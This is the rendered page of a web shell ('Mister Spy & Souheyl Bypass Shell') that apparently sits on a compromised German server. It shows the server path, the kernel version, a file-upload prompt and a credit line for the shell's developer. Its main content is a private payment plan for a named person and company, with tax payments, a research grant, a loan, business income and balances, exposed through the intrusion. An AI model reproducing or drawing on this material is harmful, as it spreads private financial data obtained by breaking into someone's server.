Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/ift/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/ift/zahlungsplan_cgabriel.html

<PRE>10-                                                53013d0fe304                0.80

Zahlungsplan Gabriel / IfT


20240730     106000.00  10-ift-forsch          13-9000        106000.00  Forschungszulage Zahlung
20240815      86000.00  10-privat-steuerrueck  13-9000        192000.00  Einkommensteuer 2023
20240816       6000.00  10-privat-steuerrueck  13-9000        198000.00  Soli 2023
20240817       4000.00  10-privat-steuerrueck  13-9000        202000.00  Kirchensteuer 2023
20240819     -96000.00  10-privat-ust          13-9000        106000.00  Umsatzsteuer
20240820      -7000.00  10-ift-arbeitsagentur  13-9000         99000.00  Arbeitsagentur
20240821     -22000.00  10-ift-ksteuer         13-9000         77000.00  Koerperschaftsteuer 23
20240821      -9000.00  10-privat-lbank        13-9000         68000.00  L-Bank
20240822      -5000.00  10-ift-gewst           13-9000         63000.00  Gewerbesteuerzahlung
20240822     -17000.00  10-ift-invest          13-9000         46000.00  Investitionsmittel
20240822      -8000.00  10-privat-kredit       13-9000         38000.00  kreditrueckzahlung
20240905      -5000.00  10-ift-gewst           13-9000         33000.00  Gewerbesteuerzahlung
20240923     -10000.00  10-privat-ust          13-9000         23000.00  Umsatzsteuer
20241005      -5000.00  10-ift-gewst           13-9000         18000.00  Gewerbesteuerzahlung
20241020      12000.10  10-privat-einnahme     13-9000         30000.10  Einnahme
20241023     -10000.00  10-privat-ust          13-9000         20000.10  Umsatzsteuer
20241105      -5000.00  10-ift-gewst           13-9000         15000.10  Gewerbesteuerzahlung
20241120      12000.10  10-privat-einnahme     13-9000         27000.20  Einnahme
20241123     -10000.00  10-privat-ust          13-9000         17000.20  Umsatzsteuer
20241205      -5000.00  10-ift-gewst           13-9000         12000.20  Gewerbesteuerzahlung
20241220      12000.10  10-privat-einnahme     13-9000         24000.30  Einnahme
20241223     -10000.00  10-privat-ust          13-9000         14000.30  Umsatzsteuer
20250105      -5000.00  10-ift-gewst           13-9000          9000.30  Gewerbesteuerzahlung
20250120      12000.10  10-privat-einnahme     13-9000         21000.40  Einnahme
20250123     -10000.00  10-privat-ust          13-9000         11000.40  Umsatzsteuer
20250205      -5000.00  10-ift-gewst           13-9000          6000.40  Gewerbesteuerzahlung
20250220      12000.10  10-privat-einnahme     13-9000         18000.50  Einnahme
20250223     -10000.00  10-privat-ust          13-9000          8000.50  Umsatzsteuer
20250305      -5000.00  10-ift-gewst           13-9000          3000.50  Gewerbesteuerzahlung
20250320      12000.10  10-privat-einnahme     13-9000         15000.60  Einnahme
20250323     -10000.00  10-privat-ust          13-9000          5000.60  Umsatzsteuer
20250405      -5000.00  10-ift-gewst           13-9000             0.60  Gewerbesteuerzahlung
20250420      12000.10  10-privat-einnahme     13-9000         12000.70  Einnahme
20250423     -10000.00  10-privat-ust          13-9000          2000.70  Umsatzsteuer
20250505      -5000.00  10-ift-gewst           13-9000         -2999.30  Gewerbesteuerzahlung
20250520      13000.10  10-privat-einnahme     13-9000         10000.80  Einnahme
20250605      -5000.00  10-ift-gewst           13-9000          5000.80  Gewerbesteuerzahlung
20250705      -5000.00  10-ift-gewst           13-9000             0.80  Gewerbesteuerzahlung

                0.80

ift                 0.00
ift-arbeitsagentur  -7000.00       Arbeitsagentur zu zahlen
ift-forsch         106000.00       Forschungszulage
ift-gewst          -60000.00       Gewerbesteuer zu zahlen
ift-invest         -17000.00       für Produktionsmittel
ift-ksteuer        -22000.00       Körperschaftssteuer 23 (33000) - KSt 20, 21, 22 (11000)

privat              0.80
privat-einnahme     97000.80       aus Kreditrueckzahlung Bosnien, Firma IfT pallets d.o.o. ift-pallets.eu, macht jetzt Umsaetze
privat-kredit       -8000.00       Privatkredit zu zahlen
privat-lbank        -9000.00       L-Bank Corona-Hilfe zu zahlen
privat-steuerrueck  96000.00       Einkommensteuerrueckzahlung 2023 (aus Abfindung)
privat-ust        -176000.00       Umsatzsteuer 22,23,24 (146000) sowie ESt 17,18 (30000)
</PRE>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net